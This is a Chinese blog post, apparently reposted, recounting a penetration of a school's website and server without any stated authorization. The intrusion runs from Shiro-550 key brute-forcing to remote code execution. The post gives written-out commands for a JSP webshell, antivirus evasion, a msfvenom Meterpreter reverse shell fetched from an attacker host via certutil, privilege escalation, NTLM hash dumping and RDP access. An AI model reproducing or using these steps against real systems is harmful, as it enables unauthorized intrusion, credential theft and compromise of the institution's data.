记一次从shiro-550到内网渗透的全过程

admin 2022年4月23日03:15:18评论38 views字数 2931阅读9分46秒阅读模式
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:先知社区(御林安全之落花)

原文地址:https://xz.aliyun.com/t/11201


0x01 前言

近日对学校网站进行了一波指纹识别,正好发现一个shiro框架网站存在漏洞,故有此文。


0x02 shiro-550知识回顾

shiro框架在登录时,如果勾选了RememberMe的功能,关闭浏览器再次访问时便无需再次登录,此时cookie中会增加一个rememberMe字段,字段的值是这样处理的:序列化,AES加密,Base64加密。最终得到的值传到后端后,解码过程即为:Base64解码,AES解密,反序列化


在AES加解密时,需要使用到密钥key和一个向量值IV。在进行AES加密后,IV值会被放到加密得到的密文前面,共16字节,然后才进行Base64加密;因此解密时,在经过Base64解密后得到的前16字节即为IV值。而key值则是被硬编码在文件中,即被存放到程序源代码中,也就是直接泄露了。例如默认key:kPH+bIxk5D2deZiIxcaaaA==


因此,攻击者可以先正常登录,对cookie中rememberMe的值进行base64解码,取前16字节,即可得到IV值。然后构造一个恶意的对象,将其进行序列化,使用泄露的key和IV值进行AES加密,再将IV值放到密文前面,进行base64加密,替换rememberMe的值,发送即可。后端就会进行解密、反序列化,最终触发RCE。


0x03 指纹识别

先使用xray爆破得到一波子域名,然后使用sublime进行处理得到如下格式的URL

记一次从shiro-550到内网渗透的全过程

接着使用Ehole3.0重构版进行批量指纹识别
记一次从shiro-550到内网渗透的全过程

发现识别出多个网站为shiro框架。访问存在漏洞的那个网站
记一次从shiro-550到内网渗透的全过程

发现其登录口使用的是javapms管理系统。然而并没有发现”记住我“这个功能点,登录后抓包也没有发现存在rememberMe这个字段。尝试手动添加
记一次从shiro-550到内网渗透的全过程

发现响应包中出现了经典的rememberMe=deleteMe字段。于是确认此处为shiro框架。

0x04 getshell

使用利用工具去碰撞key

记一次从shiro-550到内网渗透的全过程

成功碰撞出一个key。于是可以执行命令whoami
记一次从shiro-550到内网渗透的全过程

发现是administrator权限。dir一下得到当前目录后,直接cd到webapps目录下,发现只有一个默认ROOT的目录,cd进入后可以看到网站的文件
cd xxx/webapps/ROOT && dir

记一次从shiro-550到内网渗透的全过程


尝试写入一句话
echo ^<%eval request("cmd");%^>>yl_test.jsp

然而很快就被杀掉了。这里利用BCEL做了一下webshell免杀,上传成功。尝试访问:
http://xxx/bcel.jsp

竟然是404,尝试修改一下index.jsp,重新访问并没有发现修改后的内容,猜测可能是没有启用热部署更新吧。于是回到webapps目录,新建一个文件夹并再次上传webshell。这次访问
http://xxx/test/bcel.jsp

成功访问。然而尝试使用蚁剑连接时
记一次从shiro-550到内网渗透的全过程

无法连webshell,于是干脆直接上传exe上线吧。

0x05 MSF上线

tasklist /svc


将输出结果粘贴到掩日中

记一次从shiro-550到内网渗透的全过程

发现存在多个防御软件。于是使用msfvenom生成c文件
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=xxxx lport=1234 -f c >1234.c

同时开启监听
use exploit/multi/handlerset payload windows/x64/meterpreter/reverse_tcpset lhost xxxset lport 1234run

将1234.c使用掩日的免杀分离方式,得到两个文件test.exe和test.txt。使用python开启http服务,让目标执行命令下载
certutil.exe -urlcache -split -f http://xxx:1111/test.txtcertutil.exe -urlcache -split -f http://xxx:1111/test.exe

之后直接运行即可上线成功。
记一次从shiro-550到内网渗透的全过程

0x06 信息收集

systeminfo
记一次从shiro-550到内网渗透的全过程

发现是虚拟机,看一下IP
记一次从shiro-550到内网渗透的全过程

只有公网地址,自然没有域。再看一下用户
记一次从shiro-550到内网渗透的全过程

只有两个用户。使用getsystem提权
记一次从shiro-550到内网渗透的全过程

直接获取system权限。导出密码
记一次从shiro-550到内网渗透的全过程

获取到Administrator的NTLM Hash。到cmd5中解密
记一次从shiro-550到内网渗透的全过程

发现竟然需要付费...只好找大师傅来解密最终得到了密码。

0x07 远程桌面连接

netstat -ano | findstr "3389"


3389竟然没开?猜测很可能是换了端口。于是可用如下方式找远程桌面连接的端口。

tasklist /svc
记一次从shiro-550到内网渗透的全过程

找到svchost.exe对应的PID-2428,接着找到对应的进程
netstat -ano | findstr "2428"
记一次从shiro-550到内网渗透的全过程

发现12289端口正在监听,这就是那个远程桌面的端口了。尝试使用Windows自带的mstsc来连接
记一次从shiro-550到内网渗透的全过程

发现爆出了这个错误,进入powershell执行如下命令
New-Item -Path HKLM:SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem -Name CredSSP -ForceNew-Item -Path HKLM:SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemCredSSP -Name Parameters -ForceGet-Item -Path HKLM:SoftwareMicrosoftWindowsCurrentVersionPoliciesSystemCredSSPParameters | New-ItemProperty -Name AllowEncryptionOracle -Value 2 -PropertyType DWORD -Force

但是生效需要重启计算机,担心出什么意外故不敢重启。后来在kali上安装了一个remmina,远程连接
记一次从shiro-550到内网渗透的全过程

直接就连上去了,渗透也就到此为止。

0x08 总结

这是本人第一次实战进入内网,虽然没什么技术含量,但熟悉了整个渗透流程,也刚好把前段时间所学的shiro系列漏洞给实际应用起来,收获颇丰。


0x09 参考文章

https://su18.org/post/shiro-5/https://help.aliyun.com/document_detail/71931.html



关 注 有 礼



关注公众号回复“9527”可以免费领取一套HTB靶场文档和视频,1120”安全参考等杂志电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”在线杀软对比源码+数据源。

记一次从shiro-550到内网渗透的全过程 还在等什么?赶紧点击下方名片关注学习吧!记一次从shiro-550到内网渗透的全过程


推 荐 阅 读




记一次从shiro-550到内网渗透的全过程
记一次从shiro-550到内网渗透的全过程
记一次从shiro-550到内网渗透的全过程

欢 迎 私 下 骚 扰



记一次从shiro-550到内网渗透的全过程

原文始发于微信公众号(潇湘信安):记一次从shiro-550到内网渗透的全过程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日03:15:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次从shiro-550到内网渗透的全过程http://cn-sec.com/archives/916247.html

发表评论

匿名网友 填写信息